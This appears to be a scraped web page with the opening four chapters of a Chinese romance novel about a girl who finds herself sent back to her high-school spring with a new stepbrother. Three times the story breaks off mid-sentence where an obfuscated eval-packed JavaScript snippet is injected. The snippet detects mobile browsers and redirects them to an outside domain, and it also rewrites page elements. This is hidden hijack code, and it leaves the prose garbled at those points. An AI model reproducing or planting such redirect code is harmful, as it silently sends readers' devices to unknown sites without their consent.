《听说你在春天》 1. Chapter 01 《听说你在春天》 文/周至川 2025.5.20 晋江文学城独家首发 - 林予诗17岁生日到来前的一个月,母亲林见寒带着她搬进了学校附近的学区出租房里。 换季早已结束,长宜正值春天。小巷沿路上的樱花一朵又一朵地盛开,空气里冰冷的温度正在被渐渐遗忘,是个穿卫衣的好时候。 即将和她们一起入住学校旁的出租房的,还有一位叫做裴叙的同级同学,他是母亲林见寒恋爱对象的儿子。 半年前,林予诗刚上高二的时候,林见寒找了个机会同林予诗交代了自己恋爱的这件事。 那时,她们正在咖啡厅里坐着闲聊吃下午茶。听见林见寒这句突如其来的交代,毫无准备的林予诗眼中不免地闪过了一瞬的惊诧。 出于下意识的,林予诗问:“什么时候的事?” 林见寒放下了手中的咖啡:“大概是在半年前,他是我大学同学,我们在一次会议上重新遇见,算是重逢吧。” 听着林见寒的语气,林予诗似乎能够隐隐约约地感受到,方才话里的那个“他”,应该于林见寒而言不算陌生或是单纯的点头之交。 林予诗并不介意母亲谈恋爱,不介意她在父亲卫海潮离开后,重新遇见一个能够让她愿意在一起相伴余生的人。 只是她在想,自己竟然对母亲身边所发生的变化毫无察觉。 这让她不能够确定,自己是否是一位合格的女儿。 林予诗的笑意发自心底:“为您高兴。” 林见寒嘴角微微颤动,将手中拿起的咖啡拿起又放下:“妈以为,你不会支持的。” “想什么呢?”林予诗说,“作为女儿,我当然会支持您的想法和选择的。” 林见寒点头,将眼前的红茶伯爵巴斯克蛋糕推到了女儿的面前。 林予诗在林见寒的脸上看见了一种久违但又带着些许从未见过的感觉的笑,她知道,林见寒是打心底里高兴的。 恋爱后的林见寒和先前并无别样,她不出差的日子,依旧是晚上很晚从律所回来,早上很早出门。林见寒出差的日子没有减少,似乎还变得多了起来,林予诗一个人在家的时间,也变得越来越多。 直到今天搬家,知道了裴叙是母亲男朋友的儿子之后,林予诗似乎才有了一种林见寒真的恋爱了的确切感受——与隔壁班的同学成为了一家人,一切的一切都是那么的真实又突然。 独自想着,往身上提了提抱在怀里的书,在楼梯间停下脚步,林予诗默默休息,准备咬牙一口气爬到楼上。 只是令她没有想到的是,刚一踏上新的一阶台阶,最顶部的试卷就发生了倾斜。紧接着不受控制的,那些复习资料顺着重力的影响,开始哗啦啦地落向楼梯间的台阶。 林予诗在一瞬间里沉下了心,她不打算挽救什么,只是任凭书往地上落。毕竟,有些要发生的事情,既然拦不住,那就不拦了。等那些书落完了,自己再慢慢捡起来不就好了。 “小心。”书落下的哗啦声中,传来了裴叙简洁有力的声音。 林予诗的视线中出现了他那骨节分明的手,那双手稳稳当当地捧住了正在落下的试卷。 不可避免的,林予诗看见了他的校服,也顺势看见了他胸前校牌上的名字。 她没想到,在知道了即将和他成为一家人之后,和他的第一次见面会是在出租房的楼梯间里。印象中,裴叙很喜欢写数学题。她还以为他早就已经到出租屋,开始专心写数学题了。 这次的见面不算正式,两人之间反倒还有些许慌张的感觉。 “抱歉。”林予诗接过裴叙手中的试卷,“给你添麻烦了。” “没事。” 楼梯间里的声控灯在话音落下的那一刻便暗了下来,两人在同一时间里假装咳嗽,但声控灯却没有再次亮起。 看样子,楼梯间里的灯,应该是坏了。 两人没有说话,只是站在彼此的对面,默默地想着。 窗外的风吹进了楼梯间,带来了楼前树上并没有开多久的樱花的花瓣。 接着,很快就传来了嘀嘀嗒嗒的雨声。 裴叙轻声说:“下雨了。回家吧。” 抬起头,忽然就撞上了裴叙那冷淡的视线,林予诗点头:“嗯。” 在这个樱花开满长宜大街小巷的春天,林予诗在思绪中默默留存下了自己印象中的和裴叙的第一次交集。 所有的东西都搬上来收拾完之后,和林见寒说了几句话,裴叙就出了门。房间里安静了下来,只剩下了母女二人。 准备好一盘水果,林见寒敲了敲林予诗的房门,听到林予诗说“进来”之后,林见寒端着水果盘打开房门走了进去。 “这两天去挑个礼物,送给裴叙,用我的卡。”林见寒轻声说,“妈想着过两天带你和他父亲裴江川见一面,你看可以吗?” 在房间里整理着试卷,林予诗停下了手中的动作,她用水果叉拿起了一块西瓜,给林见寒递了过去,说:“嗯。妈,这次在长宜待多久?” 早季节的西瓜没有完全熟,不算太甜。林见寒虽常年在外奔波,却一直记得林予诗喜欢的水果是西瓜。所以每次回到长宜,林见寒都会托助理去买西瓜送到家里。 “过两天。正好这两天休息,所以我回来一趟,提前带你入住学校边上。到了高三,你就不用再去适应了。” 林予诗笑了笑,在心里打消了那个“提前入住是不是和裴叙有关”的想法。她也不知道自己为什么会突然这么想,这是她在知道裴叙身份后,脑海中下意识出现的思绪。 “好。” 林予诗话音落下的瞬间,一通电话就打了进来,打断了母女俩的聊天。林见寒拿着手机急匆匆地走到了房门口,末了,她笑着对林予诗说了句:“好好休息。” 窗外的雨不知道在什么时候停了下来,只剩下了残缺的樱花树的枝头在风中轻轻摇晃,手中那块不甜的西瓜也已经被咽下,口腔里没有回甘的感觉,似乎只剩下一种如同白水一般的滋味。 妈妈切的西瓜不能不吃完,因为这是妈妈回来的象征。 林予诗每次都会一口一口地把果盘里的西瓜给吃完。 她不知道,下一次吃到妈妈准备的西瓜,会是在什么时候。 - 再次和裴叙说上话,是在两天后傍晚的操场上。 在教室里收拾书包的时候见天气还不错,林予诗便将伞放到了教室里,想着下晚自习再拿也没问题。毕竟她一会打算以还要回校上晚自习的名义,找个时间提前离开饭局。不知道为何,和裴叙以及裴江川一起吃饭,林予诗的心里总感觉有点不自在。至于答应母亲林见寒参加今晚的饭局,她只觉得,这是个和母亲一起吃饭的机会而已,所以也称不上勉强。 长宜的天气说变就变,刚走出教学楼,一滴雨就落在了肩膀,林予诗下意识地抬头看向了被乌云堆满的天空。 看了一眼手表,已经没有时间给她去教室里面拿伞了。吃饭的地方离学校不远,趁着雨还没有下大,林予诗打算硬着头皮跑过去。 如果自己在大雨落下之前到达,那今天也算是幸运的一天。 想着,林予诗嘴角上扬,不由地加快了脚步。 雨一滴一滴地落下,远远超过了她的预期。 还没出校门,小雨就开始落下了。 狠下心准备奋力一跑,刚闭上眼,只察觉没有雨滴的坠落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664666|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林予诗随即停下了自己的脚步,她疑惑地睁开眼睛,只见视线里出现了一把透明雨伞的边沿。 林予诗能感受到,身后的人离她还有些许距离,但他校服外套的衣角却被风吹到了她的旁边。 不知道是因为跑得太急还是怎么,身边操场的草坪上,忽然落下了一块校牌。 是裴叙。 林予诗顺势低头捡起了草坪上的校牌,她想着,还校牌应该是个还算不错的话题,能够给她机会说出谢谢,不让他们之间的气氛变得尴尬。 “你的校牌。”林予诗回头转身看向撑着伞的裴叙。 “谢谢。” 在雨滴砸落在透明雨伞的伞面上发出的嘀嗒声中,一句异口同声的感谢被说出,分秒不差,声线完完全全重叠。 “时候不早了,我妈和你爸还在等我们。” 为了躲开和裴叙的视线交错,林予诗下意识地转身看向了校门口所在的方向。 默契地迈出脚步往前走,裴叙在林予诗的身后撑着伞,步调一致。 傍晚的广播站会在下午下课后播放学生们匿名投稿的歌,时间一到,音乐准时在学校里开始回荡。 「一张照片半句再见 尘封的纪念」 「用眼泪把你复习一遍」 「残缺的诗篇遗忘的誓言」 「谁脑海有张忘不掉的脸」 是孙燕姿的那首《半句再见》。 林予诗在心中暗暗高兴。这是她这周末写的投稿,她没想到会在今天放学的时候听到这首歌。 不知道是心里的感觉还是什么,林予诗觉得她和裴叙的脚步忽然就在音乐响起的那一秒慢了下来。 那时,他们离校门口还有一点距离。 如果他们在雨中慢慢走,是可以在出校门之前听完这首《半句再见》的。 就这样很默契地,他们在雨中走过了浅蓝色的跑道。 林予诗不明白裴叙为何会在同一个瞬间里和她一起慢下脚步,她没有将这个问题问出来,只是默默地把它咽进了身体。 原本在心中暗下决心说如果在到达地点前都没有下雨,那么今天就算是幸运。 可是,今天听见了自己投稿的歌,心情也就不免地好了几分,半路上还遇见了撑着透明雨伞的他,自己也可以不用继续淋雨了。 这算不算是幸运呢? 林予诗记得,那时候十七岁的自己,关于这个问题,并不算太清楚,她当时只是在心里悄悄想着。 那是他们第一次撑同一把伞,第一次一起走过一个突如其来的雨天。雨滴重重地砸在透明雨伞的伞面上,发出了接二连三的啪嗒声。 雨下得太大了,很难继续往前走下去。 迈着艰难的步子,林予诗在淅淅沥沥的声音中对裴叙说:“雨很大,前面有个公交站,我们去那躲躲雨吧。” “嗯。” 走进公交站后将伞收起放在一旁沥水,裴叙顺势坐在了林予诗的身边。 两人不说话,只是在听着周围的雨声。 林予诗在一边静静地等着那个雨变小的瞬间的到来,她从口袋里拿出了手机,点开了备忘录,疑惑地看着那条置顶备忘录上写的内容: “如果一切能够被重置,如果时间能够开始倒退,回到原点,或是回到我们相遇的那天,你是否会在见到我的那一瞬间,在心中划过一丝我们是不是在哪见过的熟悉感觉。” “不管接下来的故事会是如何,我确定,如果我们能够再次遇见,我会在心里对你轻轻地说一句‘久别重逢,跨越时间线,好久不见’。” 她不知道自己手机的备忘录里为何会出现这两段话,这个问题从那天早上在房间里醒来的时候开始算起,整整困扰了她三天。 2. Chapter 02 三天前的早上,林予诗从卧室里醒来的时候,只觉得浑身疼痛。迷迷糊糊地从床上坐起,下意识地看向一旁自己的书桌去找手机,却看见了一堆放在台灯下的试卷。 她疑惑地起身,走到书桌前拿起自己的手机去看时间,却发现是自己高二那年春天的年份数字。 忽然一阵头疼和耳鸣,林予诗坐在了书桌前的椅子上。还没等她想清楚是什么情况,手机就传来了尖锐的“雷达”闹钟声。按掉闹钟,迅速打开一旁的笔记本电脑再次查看日期,依旧是那串数字没有改变。 头疼的感觉渐渐淡了下去,耳鸣也随之在眼前的世界消失不见。 她拿起一旁的玻璃杯,将里面的水一饮而尽。玻璃杯放下,房间外就传来了林见寒的声音:“予诗啊!起来了吗?今天要搬家哦!搬家公司一会就到啦!” 林见寒的声音越来越近,话音落下的那一秒,三下敲门声传来。 然后,林予诗在那一秒里确认——时间线被重置了,她回到了高二那年。 - 备忘录上的光标正在闪烁,时间就这样地流逝了一秒又一秒。思来想去,林予诗还是不清楚自己为什么会回到高二这年,不清楚备忘录上为什么会有那些字,且还是被置顶的。 还有一件事她也觉得很奇怪。 即使是清楚自己回到了高二那年,却总感觉自己像是忘却掉了什么事情一般,脑海中的记忆,似是出现了一段长长的空白。无论如何她都想不起,那段空白里原先装着的记忆碎片是些什么。 除了那段空白之外的事情她都没有忘记,好闺蜜姜时月同她在高二高三经历的一切,自己哪次考试会进步和退步诸如此类的所有事情,她都还记得。 垂下头叹气,只见雨滴滴落进路边的小水洼,让水面泛起了一阵又一阵的圈圈涟漪。 或许那段记忆空白只是自己的错觉呢?是自己回到过去,经历了时间线重置之后的那种类似于副作用的反应呢? 这是她现如今唯一的能够想到的答案。 视线里的雨势渐小,不再是方才那般的倾盆落下。一辆公交车停在了公交站,打开了前后门。见没有人上车,又开走了。 正是这辆公交车的停留和离开,让林予诗和裴叙抽回了散落在春天暴雨中的思绪。他们在一瞬间里同时回头,而后毫无预兆地撞上了彼此的视线。 林予诗看着他的眼睛,心中不知为何忽然闪过了一丝熟悉的感觉。那种感觉,就像一台许久没有用过的收音机,在某一天突然被打开,而后立即就接收到了那段从前一直在唯一接收的熟悉的电台频率。 林予诗在心中默念了一遍裴叙的名字,整理好了自己的思绪,开口对他说:“雨变小了一点了,我们走吧。” “好。” 裴叙撑起了那把透明雨伞,将伞往林予诗那边倾斜了些许,让她全身都被这把小小的伞给遮住,不受春雨的打扰。 - 一路上,林予诗和裴叙都没有说话。毕竟,按照一般情况而言,两人才认识没多久,对彼此不熟悉,之间无话可说,是再正常不过的了。很快就走到了约定的地点,一路上楼,来到了林见寒和裴江川在微信中发的包间房间号。 一推开门,林予诗和裴叙就听见了大人们此起彼伏的欢迎声。 裴江川喜悦:“俩孩子来啦!” 林见寒拿着早就备好的毛巾走上前:“快进来快进来,有没有被雨淋湿呀,要不要换件衣服?” 裴江川:“来来来,坐着,给你们到两杯姜茶,暖暖身子。” 房间里的热情,盖过了窗外的雨声,让人在一瞬间里还以为窗外是晴天。 接过毛巾和姜茶,小抿一口热热的姜茶,而后拿起毛巾,开始找身上的衣服是否有被水打湿的地方。 这么简单的几个动作,两人做的出奇的一致,但他们互相并没有察觉到有什么默契夹在他们的中间。 林予诗找遍了全身上下的衣服,没有发现有水渍的存在。趁着低头,她偷偷看向坐在自己左边的裴叙。 他的肩膀倒是湿了一大块。 那把透明雨伞就放在不远处的伞架上,林予诗那时候才注意到,那是一把不算太大的伞。要在暴雨中放下两个人,是有点吃力的。 要是和他成为一家人的话…… 应该是有适应的余地的吧。 林予诗不说话,只是在那想着。 - 菜很快就上齐。 裴江川和林见寒面对面坐着,各自的身边,坐着各自的孩子。 “予诗,听你妈说了一些你现在爱吃的菜,尝尝,看看是不是那个味道。”裴江川将菜转到了林予诗的面前。 “谢谢裴叔叔的照顾。”林予诗很懂味地拿起筷子,夹起了面前的菜,“好吃。” 裴江川脸上闪过了一丝抽搐,随后立即又堆满了笑:“喜欢吃就好。” 整个饭局,林见寒和裴江川一直都在打趣聊天,活跃着房间内的气氛。 在对话中,林予诗和裴叙同时都想起了那个曾经就已经知道的信息——林见寒和裴江川是大学同学。 听着他们的回忆,林予诗和裴叙猜测,他们大学时候的关系应该还算不错,甚至于可能是好朋友。 原本以为这场饭局会让自己不太习惯想提前离开,林予诗没想到自己居然到最后饱餐一顿,完全将要上晚自习的借口丢在了身后。或许,和裴叙成为一家人这件事,没有她想的那么难以适应。 林予诗有看了一眼放在伞架上的那把透明雨伞,在心里又说了一句“谢谢”。 没吃太久,等到碗里的饭全部吃完,这场“重组家庭”间的正式会面,也就来到了尾声。 那时候,夕阳垂暮,视线里的世界被深邃的、几近于黑的蓝色给完全包围。依稀能够听见雨滴砸落在玻璃窗上的声音,那场于傍晚时刻突然到来的雨,一直到现在都没有停下来。 很自然地互换完了早就各自提前准备好的见面礼物,在大人的眼中,他们俩就算是认识了。在欢快氛围的衬托中,这场会面正式结束,林予诗和裴叙也在这场会面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664667|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中了解到了林见寒和裴江川已经领了证的事情。 走到外面,两人听着林见寒和裴江川的打趣话在一旁默不作声,直到,他们听见了这一句—— “裴叙这孩子比予诗早出生21小时,算是予诗的哥哥了。”裴江川语重心长,“裴叙,你要好好照顾妹妹,听见了吗?” 裴叙:“嗯。” 林见寒笑:“我们予诗也是有哥哥的人啦,以后什么事情,你们可以有商有量的,都是一家人。”’ 林予诗:“嗯。” 哥哥…… 林予诗在脑海中过了一遍这个词,她好像还不太适应这么去叫他。 于是,她决定,还是先叫他的名字吧。 - 林予诗送了裴叙一本韩江的《永不告别》,还是台版繁体竖排版版本的。林予诗记得,在时间线重置前,自己就托前不久去香港玩的姜时月买了两本台版的《永不告别》回来,自己只拆封了一本。那天她想了很久都不知道要送什么,便索性去翻了一下自己的书柜。看见了那本未拆封的《永不告别》后,林予诗下意识地就敲定了给裴叙送的礼物。 不太清楚他喜欢什么,送书是一件最保险的选择。况且,这本繁体竖排版的书也算是有点特别的呢,应该能够给他一点小小的意外感吧。 裴叙送了一个小狗图案的马克杯给林予诗。整个马克杯是白色的,只有一两只小狗图案在上面点缀,很干净,也很可爱。担心打碎这个马克杯,林予诗不准备在学校用这个杯子,她打算带回家,放在自己的房间里,摆在书桌的台灯下。 因为是在隔壁班,所以两人回学校后,基本上没有什么碰面的机会。课间休息的时候,林予诗也习惯于待在自己的教室里。 姜时月在课间休息的时候八卦:“你和你家新来的那位,相处的怎么样?” “还算正常吧。”林予诗说,“就,很正常,互送了见面礼,吃了饭,也就没有什么别的了。” “这个裴叙可是执礼附中出了名的冰山系帅哥。他和你说话多不多?” “不算多,一句话不超过五个字。”林予诗在草稿本上胡乱地画圈,“按照我妈他们的意思,裴叙成了我哥。怎么相处,走一步看一步吧。”思绪陷入混乱,以至于林予诗都不清楚自己在说些什么。一旁的姜时月不说话,只是在拍她的肩膀,劝她继续写题。 剩下的晚自习很快就过去,下课铃响后,教室里陆陆续续地空了座位。 收拾好书包,林予诗拿着第二节晚自习下课后出校门买的东西往教室的后门走,准备去隔壁班看看,裴叙还在不在。 只是刚一出门,她就看见了站在走廊上,身体微微倚靠在走廊栏杆上的裴叙。 这是次意外的遇见,她没有料到他会在走廊上,毕竟平常这个点,他都在教室里写数学题。 林予诗没有脱口而出那句“你怎么在这?”,那时她还在心中想着要说些什么。 反而,倒是面前的裴叙,以一种听上去很冰冷的语气轻声询问说:“一起走回家吗?” 3. Chapter 03 林予诗笑着点头说了句“好”。 如果触及到的是一座冰山,那自己也是会感觉到一阵短时间内无法消除的冰冷的。可眼下,林予诗却没有一点这样的感觉,反而感觉像是在黑夜中触碰到了一点点的昏暗的光一样。 总是在放学后陷入沉默,无人说话一直到隔天早上,而现在,能够有个人和她一起走回家,同她时不时说两句话,倒也是不错的。 顺势地,林予诗将自己手上提着的小袋子摆在了裴叙的眼前,“今天下的雨很大,我看你的衣服湿了,给你去买了一点感冒药,你拿着。” 像是没有组织好语言一般,林予诗一口气将这些话全部说了出来。话音落下的时候,林予诗下意识地有种想喝水的冲动。 “谢谢。”裴叙的声音中仍然透露着些许清冷,他将那些感冒药牢牢地握紧在手中,朝林予诗笑了笑,“校门口新开了一家甜品店,听说那里的芋圆还不错,你有兴趣吗?我请你去吃吧。就当作是你下课去帮我买感冒药的感谢。” 林予诗在心中重复了一遍方才裴叙说的话,她点了点头,说了句好。方才晚自习的时候就感觉肚子有点饿,本来想着像往常一样回家煮泡面填肚子,这下,有了裴叙的提议,今晚便也不用吃泡面了。 想着,已经走到了走廊的转角,准备下楼。正当两人转身的片刻,头顶的灯忽然熄灭了,整个视线里只剩下了一片漆黑。 脚步在一瞬间里停下,原本想要脱口而出的那句惊吓的感叹,却不知为何被抑制在了喉咙。而后,像是接收到了什么讯号一般,林予诗转头看向了走在自己身边的裴叙。 视线在月光下重叠交汇,默契般的回头,是林予诗没有预料到的。 然而她并没有很快去躲避开他的目光,相反,她在那停留着她的视线。她在心中,恍然又觉察到了一丝莫名的熟悉感闪过。 或许,这可能是自己移不开这段交错视线的原因吧。 就这样停留在了走廊尽头的楼梯口,谁也没有走,谁都没有想要结束这段视线交错的意思。 直到楼下传来了巡查保安的清嗓声,手电的灯光从楼下隐隐约约地传来,脚步声越来越近的时候,林予诗和裴叙才在来自心底的慌乱中,收回各自的视线。 接着,裴叙没有犹豫地轻声开口:“到时间断电了,巡查的要来了,我们从另外一边下去吧。” 林予诗点头,裴叙继续说:“路太黑,看不清楚,你牵着我的书包肩带。” 面前的林予诗答应:“好。” 为了躲避将到来的手电筒的光,两人立即就往另一个楼梯间所在的方向跑了。春天的风中已经有了些许暖意,树枝在夜色中轻轻颤动,接住倾洒下来的月光。 林予诗一路上都在想,不是说裴叙是那种寡言少语的冰山帅哥吗?虽然在吃饭那天,她的确感觉他是有点像个“高岭之花”的人设的,但是这几次的相处下来,却并不觉得他话少和高冷是怎么一回事? 捉摸不透他究竟是一个什么样的人。黑暗中,手紧抓着他的书包肩带,一直到教学楼的楼下,都没有松开。 直到跑到校门口外,停在一盏昏暗的路灯下喘气,重新面对面的站在彼此的身前看向彼此的脸,林予诗才松开抓着他书包肩带的手。 “好险,差点就要被抓到然后被问话了,搞不好,可能还要写检讨。”裴叙笑着说。 “还好我们反应快。”林予诗暗自庆幸,也笑着说。 裴叙指了指甜品店所在的方向:“甜品店就在这边,我们现在过去吧。” “好。” 执礼附中向来断电的比较早,现在离晚自习下课还没有超过半小时,所以路上还是有不少的学生的。 甜品店就开在一棵樱花树旁,正值樱花盛开的春天,风吹过,就会有几片樱花花瓣落下,就像是在动漫里遇见一样。 这家店的名字就叫做“听说旁边有棵樱花树”,整个店的面积不算太大,一眼就能看完整家小店。门框和窗框是木质的,所有的灯都是暖色调,让这家店看上去有种让人想要停留的温馨感。 推开木质门框的玻璃门,因为没有注意到挂在门口把手上的风铃,林予诗和裴叙在听见风铃的声音后忽然相视一笑,只觉得心脏像是连同着风铃的频率一般,在错拍轻颤。 “想吃点什么?”老板小哥热情地将菜单推到了两人的面前,“欢迎光临本店,我叫周川,你们可以随意称呼我。” 也许是周川老板的热情比较的自然,林予诗慢慢放下了那种第一次走进一家新店的试探感。那时,她忽然错觉自己像是来过了很多次。 脑海中忽然闪过几帧模糊不清的画面,林予诗想起,时间线重置之前,自己曾在高中的时候经常光顾这家店。 趁着裴叙在看菜单的间隙,她环顾了一下周围店内的装饰。 她确认自己没有记错。 但为什么,自己在来之前却没有想起这些呢? 以及,她总记得,那时候经常光顾这家店并不是自己一个人,好像还有一个人每次都会陪她来。并且她确定,那个人不是姜时月。 她在脑海中努力地回想时间线重置之前陪她来这家店的人会是谁,却无奈,怎么想都想不起来。 重新看回放在小桌台上的菜单,一旁的裴叙早已在心中敲定好了选择。 林予诗扫完整个菜单,看向小桌台前的操作台说:“周老板,来一份椰汁芋圆豆花。” “OK!”周老板在便签纸上写下点单。 “一样,我也来一份椰汁芋圆豆花。”裴叙说完便把菜单给放了回去。 “好嘞。”周老板说,“稍等片刻,马上就来!” 小店里的投影机正在工作,一旁的幕布上正在放着电影。 “你看过《秒速5厘米》吗?”林予诗看向幕布上的电影说。 “看过。”裴叙停顿了那么一两秒,“在很久很久以前,和一位朋友一起看过。” 林予诗点头:“我不记得具体是在什么时候看过,那个时间好像离我很近,又好像离我很远很远。” “以后我们可以一起看别的电影。”裴叙说,“如果你愿意的话。” “为什么不愿意。”林予诗不再继续看着幕布上的电影,转而看向裴叙,“对了,你为什么和我点一样的?” 裴叙回答说:“因为你喜欢吃这个。我是说,我猜你喜欢吃这个。嗯对,是这个意思。” 这个问题来的有点措不及防,裴叙没有立即就组织好自己的语言,差点就说错了话。 “我在鲜芋仙吃芋圆的时候喜欢点和这个类似的,所以我今天看见这个菜单的时候,第一眼就像选择这个。”林予诗说,“你说的没错,我确实会喜欢吃这个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664668|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴叙接话:“看来我猜对了。” 林予诗又问:“校门口周围这么多吃的,怎么想着带我来这家店吃芋圆?” 裴叙说:“我猜你会喜欢。” 林予诗笑了:“裴叙同学,你怎么又猜中了我心里的答案和想法?” 裴叙也笑了:“可能是直觉。” 时间线重置以前,林予诗最爱吃的甜品,就是芋圆。原来时间线重置之后,一切都没有改变,不管是身边的人,还是经历过的事,喜欢吃的东西。 除了,似乎是只多了一位叫做裴叙的人。在她关于时间线重置以前的记忆中,他应该是不存在的。 有那么一瞬间林予诗在想,或许时间线根本就没有重置呢,自己关于那所谓的时间线重置之前的记忆,实际上只是自己的一场梦?或许这才是她真正的人生,一切都才刚刚开始。 那段记忆的空白究竟是什么? 备忘录置顶的那几行字究竟是什么意思? 林予诗依旧没有明白,甚至连一点思考的方向都没有。 这个答案会在哪,又会在什么时候出现。 她不知道。 - 周五中午午休结束之后,林予诗收到了裴叙发来的微信。裴叙说让她今天晚上放学等一下他,他们一起回家。林予诗想着最近姜时月因家里有事没来学校,放学后也有时间,和裴叙一起回家,算是个很好的能够促进他们自然而然相处的机会,便应声答应了下来,给他回了个“好”过去。 晚上放学,林予诗直接去了隔壁班的教室。正好,裴叙整理好了试卷,背着书包准备去找林予诗。就这样,两人在走廊上撞见了。不过好在及时停下脚步,避免了撞进对方的怀中。而后什么话都没有讲,林予诗和裴叙开始往楼下走。 林予诗想起了裴叙送给她的见面礼,她在想,裴叙是怎么知道她喜欢线条小狗的?也许是巧合?时间线重置以前,林予诗就很喜欢线条小狗,书房里堆满了和这个IP有关的各种周边。 兀自想着,她偷看了一眼身边的裴叙。虽不是直接撞上了他的视线,她却在他的余光里,察觉到了一丝像是来自很久很久以前的一种莫名的熟悉感。不知为何,在察觉到这种感觉之后,林予诗感觉自己的心像是被触发了什么反应一般,让她不免地陷入进了慌乱里。 这是怎么回事?她有种和那天晚上学校断电后在走廊上同他对视时如出一辙的感觉。 路边樱花盛开,摇晃在昏黄的路灯下。风经过,吹落了好几片粉色的樱花花瓣,落在了校服上。眼前的一切实在是让人忍不住想停下脚步,流连些许时间。于是,将不解暂时地先抛到脑后,林予诗像那天晚上一样,牵住了裴叙的书包肩带,叫住了他: “喂!裴叙。” 听到自己名字的裴叙立即回头看向了林予诗,眼睛里闪烁着光,像是在说“我在”。 “虽然我们才刚刚认识,对彼此还不算太熟悉。但这棵樱花树下,我们好像一起走过了很多很多次。不知道今年的樱花还会盛开多久,趁着花期还在,我们一起拍张照吧。” 空气安静了下来,风还在吹动着樱花树的树枝。裴叙说好,又有几片樱花花瓣轻轻落下。 他的眼里闪烁着泪光,嘴角自然上扬看着镜头,却不敢看向镜头里就站在自己身边的她,他在努力地试着不让那徘徊的泪水落下。 4. Chapter 04 坐在房间里,轻轻捧着那本《永不告别》,裴叙小心翼翼地撕开了包装的塑封,看向窗外,翻开书的第一页,不免地在心里感叹,依旧是一个熟悉的夜晚。 只是还没等他读完第二页的字,林予诗的呼喊声就从房间外传了进来:“裴叙!有时间吗?” 合上书本,看了一眼时间还早,周五也不用早睡,眼下也不想写题,于是,他边起身边对房门外的林予诗说着回应:“有!” “你出来一下!” 门把手在话音落下的那一秒发出了“咔嚓——”的声音,像是在对林予诗的话说着回应。只见眼前有且仅有落地灯微弱的暖色光线,客厅里是不算太亮的。林予诗正坐在小茶几前,她朝裴叙挥了挥手,示意让他过来坐下。 裴叙走上前,在一个离她还有些许距离的地方落座,好奇地看着她,问:“怎么啦?” “明天周六没课,我们今晚挑一部电影看看?”林予诗边说边倒着柠檬茶,“怎么样?” 她说完就把那杯加冰的柠檬茶递到了裴叙的眼前。裴叙接过冰凉的玻璃杯,轻轻地喝了一口柠檬茶,点点头:“好。至于看哪部电影,你来选。” 像是提前准备好的一般,幕布上出现了那部《爱在黎明破晓前》。 这场深夜电影,算是林予诗的临时兴起。 大约一个小时以前,她在房间里写完了语文作业。刚把资料放到一边,她就收到了杂志社出版方编辑发来的信息。 编辑说上一刊的短篇小说反响挺不错的,问她愿不愿意给那篇小说改长出版。林予诗当时微微一叹,这是时间线重置以前发生过的事情。她知道,当时的决定,影响了她后面的很多事情,甚至影响了她高考后的每一天。 但她从来没有后悔过自己当时做出的决定,且这还是一个影响她一生的决定。 从小,林予诗就爱看书。曾经,小小的她有过一个梦想,想在长大之后成为一名印着自己写的文字的书的作家。 面对编辑的邀请,林予诗没有选择拒绝,她做出了和时间线重置之前一样的决定,愿意将那篇短篇改成长篇出版。只是她忘记了,在时间线重置之前自己是怎么写的那本小说的了。 和编辑初步商量好了和合同有关的事情,林予诗给编辑发送去了一个握手的表情。随后,她又点开了自己手机的备忘录。不过这次,她没有继续点开那条置顶的便签,而是选择翻看备忘录里的其他内容。 没翻多久,她的手就停在了一条被翻至屏幕中间的备忘录,翻涌的好奇心驱使着她点开了它。 “他喜欢柠檬茶。”林予诗小声地读出了那条备忘录的标题,往下看,是一份柠檬茶的调配配方。 不解这条备忘录的来历,林予诗望着窗外的夜空走了神。春天的樱花还未凋零,正在风中摇晃,花瓣摇摇欲坠,似乎是在等着些什么。等她的思绪不再与樱花同频,再次回到房间里的时候,脑海中却忽然出现了裴叙的名字。 对啊!这个“他”,会不会是裴叙? 林予诗感觉一阵惊喜,像是找到了什么答案一般。 窗外摇摇欲坠的樱花花瓣被忽然不知道从哪吹来的一阵大风给吹落,路过了透明的玻璃窗前,往楼下坠落。正当她准备起身关上窗户的时候,一片樱花花瓣就这样毫无预兆地落在了她的窗台。 拾起那一片樱花,林予诗将它夹进了那本《永不告别》里面。 找不到缘由的备忘录,林予诗顺着飘散地思绪,在心里默默做着试想,会不会那条置顶的备忘录和裴叙有点关系? 再往深处想一点,思绪再稍微往远处飘散一些。自己脑海中缺失的那段记忆,那段无论如何都想不起来的空白,是不是也和他有关系? 假设,真的是时间线重置的话,林予诗想要明白,时间线究竟为什么会被重置,且重置后的时间线还是从她搬家的那时候开始的。 